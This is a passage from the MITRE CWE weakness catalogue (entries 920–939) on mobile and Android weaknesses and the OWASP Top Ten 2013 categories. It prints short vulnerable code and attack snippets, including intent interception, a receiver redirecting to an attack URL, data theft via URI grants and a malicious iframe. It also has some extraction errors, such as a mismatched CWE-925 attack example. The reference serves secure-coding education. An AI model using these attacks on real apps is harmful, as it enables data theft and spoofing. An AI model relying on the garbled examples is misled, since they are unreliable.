B	940	Improper Verification of Source of a Communication Channel
B	941	Incorrectly Specified Destination in a Communication Channel

## CWE-920: Improper Restriction of Power Consumption

Weakness ID: 920 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software operates in an environment in which power is a limited resource that cannot be automatically replenished, but the software does not properly restrict the amount of power that its operation consumes.

#### Extended Description

In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the software itself, and the device might not always be directly attached to a reliable power source. If the software uses too much power too quickly, then this could cause the device (and subsequently, the software) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.

Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:

- Display
- CPU
- Disk I/O
- GPS
- Sound
- Microphone
- USB interface

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application



## Common Consequences

### Availability

#### DoS: resource consumption (other)

#### DoS: crash / exit / restart

The power source could be drained, causing the application - and the entire device - to cease functioning.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		400	Uncontrolled Resource Consumption ('Resource Exhaustion')	<b>699</b> <b>1000</b>	688

# CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

Weakness ID: 921 (Weakness Base)

Status: Incomplete

## Description

### Summary

The software stores sensitive information in a file system or device that does not have built-in access control.

### Extended Description

While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.

On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application

## Common Consequences

### Confidentiality

#### Read application data

#### Read files or directories

Attackers can read sensitive information by accessing the unrestricted storage mechanism.

### Integrity

#### Modify application data

#### Modify files or directories

Attackers can modify or delete sensitive information by accessing the unrestricted storage mechanism.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		922	Insecure Storage of Sensitive Information	<b>699</b> <b>1000</b>	1349

## References

Android Open Source Project. "Security Tips". 2013-07-16. < <http://developer.android.com/training/articles/security-tips.html#StoringData> >.

## CWE-922: Insecure Storage of Sensitive Information

Weakness ID: 922 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software stores sensitive information without properly limiting read or write access by unauthorized actors.

#### Extended Description

If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

#### Time of Introduction

- Architecture and Design
- Implementation
- System Configuration

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Read application data

##### Read files or directories

Attackers can read sensitive information by accessing the unrestricted storage mechanism.

##### Integrity

##### Modify application data

##### Modify files or directories

Attackers can read sensitive information by accessing the unrestricted storage mechanism.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		664	Improper Control of a Resource Through its Lifetime	699 1000	1026
ParentOf		312	Cleartext Storage of Sensitive Information	699 1000	553
ParentOf		921	Storage of Sensitive Data in a Mechanism without Access Control	699 1000	1348

#### Relationship Notes

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

#### Maintenance Notes

This is a high-level node that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.

## CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

Weakness ID: 923 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.

**Extended Description**

Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.

While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.

**Time of Introduction**

- Architecture and Design












**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Integrity****Confidentiality****Gain privileges / assume identity**

If an attacker can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		284	Improper Access Control	<b>699</b> <b>1000</b>	499
ParentOf		291	Reliance on IP Address for Authentication	1000	517
ParentOf		297	Improper Validation of Certificate with Host Mismatch	1000	525
ParentOf		300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')	<b>699</b> <b>1000</b>	530
ParentOf		322	Key Exchange without Entity Authentication	1000	567
ParentOf		350	Reliance on Reverse DNS Resolution for a Security-Critical Action	1000	608
CanFollow		350	Reliance on Reverse DNS Resolution for a Security-Critical Action	1000	608
ParentOf		419	Unprotected Primary Channel	1000	723
ParentOf		420	Unprotected Alternate Channel	1000	723
ParentOf		925	Improper Verification of Intent by Broadcast Receiver	<b>699</b> <b>1000</b>	1351
ParentOf		940	Improper Verification of Source of a Communication Channel	<b>699</b> <b>1000</b>	1364
ParentOf		941	Incorrectly Specified Destination in a Communication Channel	<b>699</b> <b>1000</b>	1366

**Maintenance Notes**

This entry will be made more comprehensive in later CWE versions.

## CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Weakness ID: 924 (Weakness Class)

Status: Incomplete

**Description****Summary**

The software establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

**Extended Description**

A man-in-the-middle (MITM) attacker might be able to modify the message and spoof the endpoint.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Integrity****Confidentiality****Gain privileges / assume identity**

If an attacker can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		345	Insufficient Verification of Data Authenticity	699 1000	600

**Maintenance Notes**

This entry will be made more comprehensive in later CWE versions.

## CWE-925: Improper Verification of Intent by Broadcast Receiver

**Weakness ID:** 925 (*Weakness Variant*)

**Status:** Incomplete

**Description****Summary**

The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

**Extended Description**

Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

**Alternate Terms****Intent Spoofing****Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- Language-independent

**Architectural Paradigms**

- Mobile Application

**Common Consequences****Integrity****Gain privileges / assume identity**

Another application can impersonate the operating system and cause the software to perform an unintended action.

**Demonstrative Examples****XML Example:**

*Bad Code*

```
<manifest package="com.example.vulnerableApplication">
  <application>
    ...
    <receiver android:name=".ShutdownReceiver">
      <intent-filter>
        <action android:name="android.intent.action.ACTION_SHUTDOWN" />
      </intent-filter>
    </receiver>
  </application>
</manifest>
```

```

</receiver>
...
</application>
</manifest>

```

The ShutdownReceiver class will handle the intent:

#### Java Example:

*Bad Code*

```

...
IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);
BroadcastReceiver sReceiver = new ShutDownReceiver();
registerReceiver(sReceiver, filter);
...
public class ShutdownReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(final Context context, final Intent intent) {
        mainActivity.saveLocalData();
        mainActivity.stopActivity();
    }
}

```

Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:

#### Java Example:

*Attack*

```

window.location = examplescheme://method?parameter=value

```

An attacker can use this behavior to cause a denial of service.

### Potential Mitigations

#### Architecture and Design

Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	<b>699</b> <b>1000</b>	1349

#### References

[REF-35] Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-Application Communication in Android". 3.2.1. < <http://www.eecs.berkeley.edu/~daw/papers/intents-mobisys11.pdf> >.

#### Maintenance Notes

This entry will be made more comprehensive in later CWE versions.

## CWE-926: Improper Export of Android Application Components

Weakness ID: 926 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.

#### Extended Description

The attacks and consequences of improperly exporting a component may depend on the exported component:

If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.

If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.

If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

##### Architectural Paradigms

- Mobile Application

#### Common Consequences

##### Availability

##### Integrity

##### Unexpected state

##### DoS: crash / exit / restart

##### DoS: instability

##### Varies by context

Other applications, possibly untrusted, can launch the Activity.

##### Availability

##### Integrity

##### Unexpected state

##### Gain privileges / assume identity

##### DoS: crash / exit / restart

##### DoS: instability

##### Varies by context

Other applications, possibly untrusted, can bind to the Service.

##### Confidentiality

##### Integrity

##### Read application data

##### Modify application data

Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.

#### Demonstrative Examples

##### Example 1:

This application is exporting an activity and a service in its manifest.xml:

##### XML Example:

*Bad Code*

```
<activity android:name="com.example.vulnerableApp.mainScreen">
...
<intent-filter>
  <action android:name="com.example.vulnerableApp.OPEN_UI" />
  <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
...
</activity>
<service android:name="com.example.vulnerableApp.backgroundService">
...
<intent-filter>
  <action android:name="com.example.vulnerableApp.START_BACKGROUND" />
</intent-filter>
...
</service>
```

Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.

### Example 2:

This application has created a content provider to enable custom search suggestions within the application:

#### XML Example:

*Bad Code*

```
<provider>
  android:name="com.example.vulnerableApp.searchDB"
  android:authorities="com.example.vulnerableApp.searchDB">
</provider>
```

Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.

### Potential Mitigations

#### Build and Compilation

##### Identify and Reduce Attack Surface

If they do not need to be shared by other applications, explicitly mark components with android:exported="false" in the application manifest.

#### Build and Compilation

##### Identify and Reduce Attack Surface

If you only intend to use exported components between related apps under your control, use android:protectionLevel="signature" in the xml manifest to restrict access to applications signed by you.

#### Build and Compilation

##### Architecture and Design

##### Identify and Reduce Attack Surface

##### Separation of Privilege

Limit Content Provider permissions (read/write) as appropriate.

### Background Details

There are three types of components that can be exported in an Android application.

An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.

A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.

The Content Provider mechanism can be used to share data with other applications or internally within the same application.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		285	Improper Authorization		699 1000

### References

[REF-34] Android Open Source Project. "Security Tips". 2013-07-16. < <http://developer.android.com/training/articles/security-tips.html#ContentProviders> >.

## CWE-927: Use of Implicit Intent for Sensitive Communication

Weakness ID: 927 (Weakness Variant)

Status: Incomplete

### Description

#### Summary



The Android application uses an implicit intent for transmitting sensitive data to other applications.

### Extended Description

Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.

Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application

### Common Consequences

#### Confidentiality

##### Read application data

Other applications, possibly untrusted, can read the data that is offered through the Intent.

#### Integrity

##### Varies by context

The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.

### Demonstrative Examples

#### Example 1:

This application wants to create a user account in several trusted applications using one broadcast intent:

##### Java Example:

*Bad Code*

```
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:

##### Java Example:

*Attack*

```
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

When a broadcast contains sensitive information, create a whitelist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.

### Example 2:

This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

#### Java Example:

*Bad Code*

```
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

#### Java Example:

*Attack*

```
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

### Example 3:

This application is sending an ordered broadcast, asking other applications to open a URL:

#### Java Example:

*Bad Code*

```
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:

#### Java Example:

*Attack*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String Url = intent.getStringExtra(Intent.URL_TO_OPEN);
        attackURL = "www.example.com/attack?" + Url;
        setResultData(attackURL);
    }
}
```

The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.

### Example 4:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

#### Java Example:

*Bad Code*

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

#### Java Example:

*Attack*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

}



Any malicious application can register to receive this intent. Because of the FLAG\_GRANT\_READ\_URI\_PERMISSION included with the intent, the malicious receiver code can read the user's data.

### Potential Mitigations

#### Implementation

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		285	Improper Authorization	<b>699</b>	501
				<b>1000</b>	
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035

### References

[REF-35] Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-Application Communication in Android". 3.2.1. < <http://www.eecs.berkeley.edu/~daw/papers/intents-mobisys11.pdf> >.

[REF-34] Android Open Source Project. "Security Tips". 2013-07-16. < <http://developer.android.com/training/articles/security-tips.html#ContentProviders> >.

### Maintenance Notes

This entry will be made more comprehensive in later CWE versions.

## CWE-928: Weaknesses in OWASP Top Ten (2013)

View ID: 928 ([View: Graph](#))

Status: Incomplete

### Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2013.

### View Data

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>46</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	14	out of	244
<b>Weaknesses</b>	30	out of	719
<b>Compound Elements</b>	2	out of	8

### View Audience

#### Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing a good starting point for web application developers who want to code more securely.

#### Software Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

#### Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember		929	OWASP Top Ten 2013 Category A1 - Injection	<b>928</b>	1358
HasMember		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	<b>928</b>	1358
HasMember		931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)	<b>928</b>	1359

Nature	Type	ID	Name	V	Page
HasMember	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	1359
HasMember	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	1359
HasMember	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1360
HasMember	C	935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control	928	1360
HasMember	C	936	OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)	928	1361
HasMember	C	937	OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities	928	1361
HasMember	C	938	OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards	928	1361

### Relationship Notes

The relationships in this view are a direct extraction of the CWE mappings that are in the 2013 OWASP document. CWE has changed since the release of that document.

### References

"Top 10 2013". OWASP. 2013-06-12. < [https://www.owasp.org/index.php/Top\\_10\\_2013](https://www.owasp.org/index.php/Top_10_2013) >.

## CWE-929: OWASP Top Ten 2013 Category A1 - Injection

Category ID: 929 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2013.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	928	117
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	928	121
ParentOf	B	88	Argument Injection or Modification	928	155
ParentOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	928	159
ParentOf	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	928	169
ParentOf	B	91	XML Injection (aka Blind XPath Injection)	928	170
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	1357

### References

OWASP. "Top 10 2013-A1-Injection". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A1-Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection) >.

## CWE-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management

Category ID: 930 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2013.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	256	Plaintext Storage of a Password	928	454
ParentOf	G	287	Improper Authentication	928	507

Nature	Type	ID	Name	V	Page
ParentOf	B	311	Missing Encryption of Sensitive Data	928	548
ParentOf	B	319	Cleartext Transmission of Sensitive Information	928	562
ParentOf	3	384	Session Fixation	928	663
ParentOf	B	522	Insufficiently Protected Credentials	928	862
ParentOf	V	523	Unprotected Transport of Credentials	928	865
ParentOf	B	613	Insufficient Session Expiration	928	960
ParentOf	V	620	Unverified Password Change	928	967
ParentOf	B	640	Weak Password Recovery Mechanism for Forgotten Password	928	989
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	1357

#### References

OWASP. "Top 10 2013-A2-Broken Authentication and Session Management". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A2-Broken\\_Authentication\\_and\\_Session\\_Management](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management) >.

## CWE-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)

Category ID: 931 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2013.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	928	131
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	1357

#### References

OWASP. "Top 10 2013-A3-Cross-Site Scripting (XSS)". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A3-Cross-Site\\_Scripting\\_%28XSS%29](https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_%28XSS%29) >.

## CWE-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References

Category ID: 932 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2013.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	G	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	928	30
ParentOf	B	99	Improper Control of Resource Identifiers ('Resource Injection')	928	190
ParentOf	B	639	Authorization Bypass Through User-Controlled Key	928	988
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	1357

#### References

OWASP. "Top 10 2013-A4-Insecure Direct Object References". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A4-Insecure\\_Direct\\_Object\\_References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References) >.

## CWE-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration

Category ID: 933 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2013.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	2	Environment	928	1
ParentOf	C	16	Configuration	928	15
ParentOf	B	209	Information Exposure Through an Error Message	928	397
ParentOf	V	215	Information Exposure Through Debug Information	928	409
ParentOf	V	548	Information Exposure Through Directory Listing	928	887
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	1357

#### References

OWASP. "Top 10 2013-A5-Security Misconfiguration". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A5-Security\\_Misconfiguration](https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration) >.

## CWE-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure

Category ID: 934 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2013.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	310	Cryptographic Issues	928	547
ParentOf	B	311	Missing Encryption of Sensitive Data	928	548
ParentOf	B	312	Cleartext Storage of Sensitive Information	928	553
ParentOf	B	319	Cleartext Transmission of Sensitive Information	928	562
ParentOf	C	320	Key Management Errors	928	564
ParentOf	B	325	Missing Required Cryptographic Step	928	570
ParentOf	C	326	Inadequate Encryption Strength	928	571
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	928	573
ParentOf	B	328	Reversible One-Way Hash	928	578
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	1357

#### References

OWASP. "Top 10 2013-A6-Sensitive Data Exposure". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A6-Sensitive\\_Data\\_Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure) >.

## CWE-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control

Category ID: 935 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2013.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	285	Improper Authorization	928	501
ParentOf	C	287	Improper Authentication	928	507
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	1357

#### References



OWASP. "Top 10 2013-A7-Missing Function Level Access Control". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A7-Missing\\_Function\\_Level\\_Access\\_Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) >.

## CWE-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)

Category ID: 936 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2013.

### Relationships

Nature	Type	ID	Name	✓	Page
ParentOf		352	Cross-Site Request Forgery (CSRF)	928	611
MemberOf	✓	928	Weaknesses in OWASP Top Ten (2013)	928	1357

### References

OWASP. "Top 10 2013-A8-Cross-Site Request Forgery (CSRF)". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A8-Cross-Site\\_Request\\_Forgery\\_%28CSRF%29](https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_%28CSRF%29) >.

## CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities

Category ID: 937 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.

### Relationships

Nature	Type	ID	Name	✓	Page
MemberOf	✓	928	Weaknesses in OWASP Top Ten (2013)	928	1357

### Relationship Notes

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

### References

OWASP. "Top 10 2013-A9-Using Components with Known Vulnerabilities". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A9-Using\\_Components\\_with\\_Known\\_Vulnerabilities](https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities) >.

## CWE-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards


Category ID: 938 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2013.

### Relationships

Nature	Type	ID	Name	✓	Page
ParentOf		601	URL Redirection to Untrusted Site ('Open Redirect')	928	942
MemberOf	✓	928	Weaknesses in OWASP Top Ten (2013)	928	1357

### References

OWASP. "Top 10 2013-A10-Unvalidated Redirects and Forwards". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A10-Unvalidated\\_Redirects\\_and\\_Forwards](https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards) >.



# CWE-939: Improper Authorization in Handler for Custom URL Scheme

Weakness ID: 939 (Weakness Base)

Status: Incomplete

## Description

### Summary

The software uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.

### Extended Description

Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.

## Applicable Platforms

### Architectural Paradigms

- Mobile Application

## Demonstrative Examples

### Example 1:

This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.

External Application

### Objective-C Example:

Good Code

```
NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&text=hello";
NSURL *url = [NSURL URLWithString:stringURL];
[[UIApplication sharedApplication] openURL:url];
```

Application URL Handler

Bad Code

```
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
    if (!url) {
        return NO;
    }
    NSString *action = [url host];
    if([action isEqualToString: @"replaceFileText"]) {
        NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];
        //this function will write contents to a specified file
        FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];
    }
    return YES;
}
```

The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.

### HTML Example:

Attack

```
<iframe src="appscheme://replaceFileText?file=Bookmarks.dat&text=listOfMaliciousWebsites">
```

The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since replaceFileText is a potentially dangerous action, an action that modifies data, there should be a sanity check before the writeToFile:withText: function.

### Example 2:

These Android and iOS applications intercept URL loading and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

**Java Example:**

Bad Code

```
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

**Objective-C Example:**

Bad Code

```
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

